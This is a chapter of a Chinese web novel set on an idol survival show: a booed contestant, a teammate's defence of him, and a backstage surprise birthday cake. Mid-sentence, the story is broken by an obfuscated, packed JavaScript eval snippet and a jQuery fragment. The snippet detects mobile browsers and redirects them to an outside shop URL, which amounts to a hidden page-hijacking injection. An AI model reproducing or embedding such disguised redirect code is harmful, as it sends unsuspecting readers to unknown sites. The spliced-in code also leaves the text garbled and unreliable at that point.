台下安静一瞬,随后掌声和尖叫声呈排山倒海之势。
只不过在一众“许柏承”和其他人名的呐喊声中,夹杂了不少句“季荀滚下去”“季荀退赛”。
季荀摘下耳返,没有了遮挡,难听的话如汹涌浪花一样向他拍打过来,他仍然维持着ending pose,直到舞台灯光熄灭。
季荀恢复常态,在黑暗中挤了挤自己湿漉漉的头发,站到队伍开头。
一般来说,第一个发言的是C位,其他人有意让队长压轴,但是季荀忙不迭拒绝了。
让他喊话大家投票?他都不敢想。
那他们组还能有票吗!
所以他们就改了顺序,季荀开头,许柏承结尾。
随着灯光亮起,程路修来到季荀旁边:“我们最后一组的舞台也是非常精彩啊,下面请大家为我们《雨滴包围我》组的1号到5号投票。”
季荀深深鞠了一躬:“大家好,我是1号季荀,请为我投票。”
他刚刚说完,台下让他滚下去的声音就呈破竹之势,此时没有其他人的掌声和尖叫声遮挡,这些难听的声音愈发清晰。
“季荀退出男团!”
“季荀实力太差了!”
“季荀你自己不嫌你的初舞台和主题曲丢人吗!”
“季荀你怎么还站在这,你还有没有廉耻心!”
“……”
直到许柏承自我介绍结束,这些话音也并未停歇,反而因为季荀的镇定自若,更加势不可挡。
季荀偷偷瞥过去,发现这一排中,许柏承那张脸臭得尤为突出。
其他人在舞台上多少还能装一装,放着票数和粉丝不要白不要,神态还是面带微笑极其热情的,只有许柏承这个演员出身的,把老本行都忘了。
所以一路三个笑脸看过去,就能撞上许柏承看仇人似的臭脸。
啧,早知道不让他做最后一个了。
“我们的工作人员正在统计票数,那么现在和几位学员聊聊天好不好?”程路修放下手卡,转头问道,“大家有什么想对粉丝朋友们说的话吗?”
和粉丝朋友说话?
季荀转头看向程路修,眼睛里的意思很明显——你睁大眼睛看看,这里哪有我的粉丝朋友?
然而程路修的表情管理能力强出许柏承百倍,依旧挂着得体笑容。
季荀无奈,只能拿起话筒:“首先非常感谢我的队员,托举我成为队长,对粉丝朋友的话,很抱歉我的综合实力有限,在初舞台和主题曲当中大家也能看到,所以我只能努力向大家靠近一点,今天的舞台已经是我能呈现出的最好效果了,今后我也会不断努力,希望大家能再等等我。”
季荀说的时候根本没想讨好谁,娱乐圈的舆论和风向就是这样,人在被大众看不顺眼的时候,再滴水不漏的话都能被人挑出毛病。
与其处心积虑不讨好,不如不要管那么多,反正效果不会有任何差别。
果然,季荀刚说完,台下此起彼伏的叫骂声又响起来,其中竟然还有前团粉丝,在说他现在的水平是在给前团丢脸。
旁边的宋弛已经开始说话,季荀的思绪不由得跑空。
丢人、丢脸、没有廉耻心,这种声音自台下传来,对他而言早就无关痛痒,因为他从小就是泡在这种声音里的。
他六年级的时候就开始留长发,到了初二已经和现在的长度差不多,也是从那时候开始,季荀只要见到季国梁,后者就会横冲直撞对他一顿大骂,说季荀给他丢人了,他出门在外都抬不起头。
但是丢谁的人呢?他又不觉得自己——
季荀的神游被打断,因为他的手臂忽然被宋弛抓住了。
他回过神,疑惑地看向宋弛,发现宋弛正拼命朝着右边抬下巴。
季荀抬头看去,是许柏承举着话筒,正在发言。
他不知道许柏承前面的话说的是什么,只听到接下来的话简直是如雷贯耳。
“我觉得,我们的队长不虚此职。”
许柏承眉眼依旧淡漠,此刻站在舞台上,眼睛向下瞥去,竟然真的有种睥睨众生的高傲感。
说出来的话如同刚刚的歌词,世界上没有神明,只有人间。
“并且,他不需要给任何人挣足脸面,那不是他的义务。”
-
退场通道,许柏承抓住季荀的手腕。
季荀本来走在最前面,想要先把大家甩在身后,没想到许柏承隔着好几个人也能上前来瞄准他。
他知道许柏承可能有话要说,可是他再不走就来不及了!
许柏承毫无察觉,低下头凑到季荀身边:“你……”
“哥哥,”季荀连忙把头转到一边去,低垂着脑袋,肩膀一抽一抽的,“我有点难过,想一个人待一会儿。”
他们之间的空气无声几秒,只能听到身后宋弛他们几个激烈的讨论声。
许柏承叹了口气:“不能带我一起?你的头发还湿着。”
季荀柔软的心脏忽然又塌陷下去一块,拒绝的话绕在嘴边,怎么也说不出口。
他咬咬牙,正要狠心,忽然看到前方终于出现卢子年的身影。
季荀跟卢子年使了个眼色。
卢子年先是一顿,随后立刻加快脚步,状似非常没眼力见地冲到季荀和许柏承中间,不要命地搂上许柏承的肩膀。
季荀趁机把自己的手腕解救出来,耷拉着脑袋一步一瘸地向前离开。
卢子年贯彻瞎眼人设,手上看犯人一样死死搂着许柏承,远远看去像两个滑稽的高中生。
“哎呀你们的舞台太好看了!就是最后排名不太理想,vocal舞台嘛,还排在最后一个,正常的,但是我有预感,你们这个画面太好看了,到时候播出了一定能出圈!”
卢子年拽着许柏承东拉西扯,平时没见有这么多话,等许柏承头疼着听完,走到选手区,回头看去,才发现宋弛他们几个也不见了。
许柏承拧了下眉,刚要出声,周围忽然响起几串凌乱又诡异的脚步声,随后是更加凌乱的——
“——砰!”
“哎呀你怎么先放了!”段野焦急的声音。
“砰!”
“砰!”
彩带迸发在空中,纷纷扬扬落下,在一片光怪陆离中掩盖了所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933026|213668||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有视线。
许柏承取下落在自己头发上的一片彩带,转头看去:“你们……”
一向最不疾不徐的陈桉树这下比段野还先出声:“别看我们,看前面!”
许柏承顿了一下,向前看去。
此时大半纷乱繁杂的彩带已经落到地面,剩下的还在缓缓飘摇,为前方不再被遮挡的视野置一层闪亮前景。
季荀湿漉漉的头发还在向下滴水,脸上挂着明媚的笑容,眼中盛着璀璨星河,同刚才判若两人。
他推了推前面的小推车,疯狂展示上面造型并不算精致的奶油蛋糕,整个人就差跳起来。
“哥哥,生日快乐!”
许柏承整个人定在原地。
其他成员的祝福声紧随其后,此起彼伏。
“许柏承,生日快乐。”宋弛笑着说。
“生日快乐啊大影帝!”段野扔掉手里的礼花筒。
“生日快乐,许柏承,是队长让我们等在这里的。”陈桉树默默补充。
“对啊,他可没告诉我们自己做了蛋糕,想独占功劳。”宋弛添油加醋。
选手席的其他选手此时也终于透过重重彩带窥见阵容,不知是谁忽然开了头,欢呼和“生日快乐”响彻整个后台。
一时间,整个选手区仿佛变成party现场。
季荀手指抓紧小推车的把手,看许柏承面色不动,一直盘旋在身体里的紧张达到巅峰。
……许柏承怎么没反应啊,不会是不喜欢这样大庭广众的吧。
“那个,哥哥,”季荀观察着许柏承的脸色,决定不能僵在这,“蛋糕是我自己做的,学了好久呢,你要不要尝一下?”
许柏承这才神色微动,在所有人的注视下抬腿迈步,走到季荀身前,隔着一个小推车。
他低头,看到蛋糕旁边,一张很小很小的卡片。
上面写着:许柏承是季荀遇到过最好的人。
“你自己做的?”许柏承捏紧卡片,声音很哑。
还不等季荀回答,段野就在后面开始咋咋唬唬:“我靠,我知道了,我说你怎么最后那两天老是动不动就消失呢,敢情背着我们做这个去了!”
季荀:“……”
话被抢走了,他还能说什么?笑一下算了。
他正尴尬着,发现许柏承忽然很浅地笑了一下。
“尝一下,”许柏承的目光从蛋糕转移到季荀脸上,“还是等庆功宴吧。”
“为什么?”季荀不明所以,松开小推车走到许柏承旁边,踮起脚尖努力和他视线平齐,“你现在不好意思吗?没事,我可以给你挡着。”
许柏承的笑意更甚了,和刚刚舞台上那个面若冰霜的判若两人。
他屈指在小推车上点了点,压低声音,凑近季荀耳边,仿若亲呢低语。
说话时含着笑:“你没准备叉子。”
“!”
季荀登时瞪大眼睛,不可思议地向下看去,发现果然,小推车上除了蛋糕空无一物。
他捂住自己的脸,想死的心都有了。
什么舞台丢脸头发丢脸给前团丢脸,这才是真正的丢脸!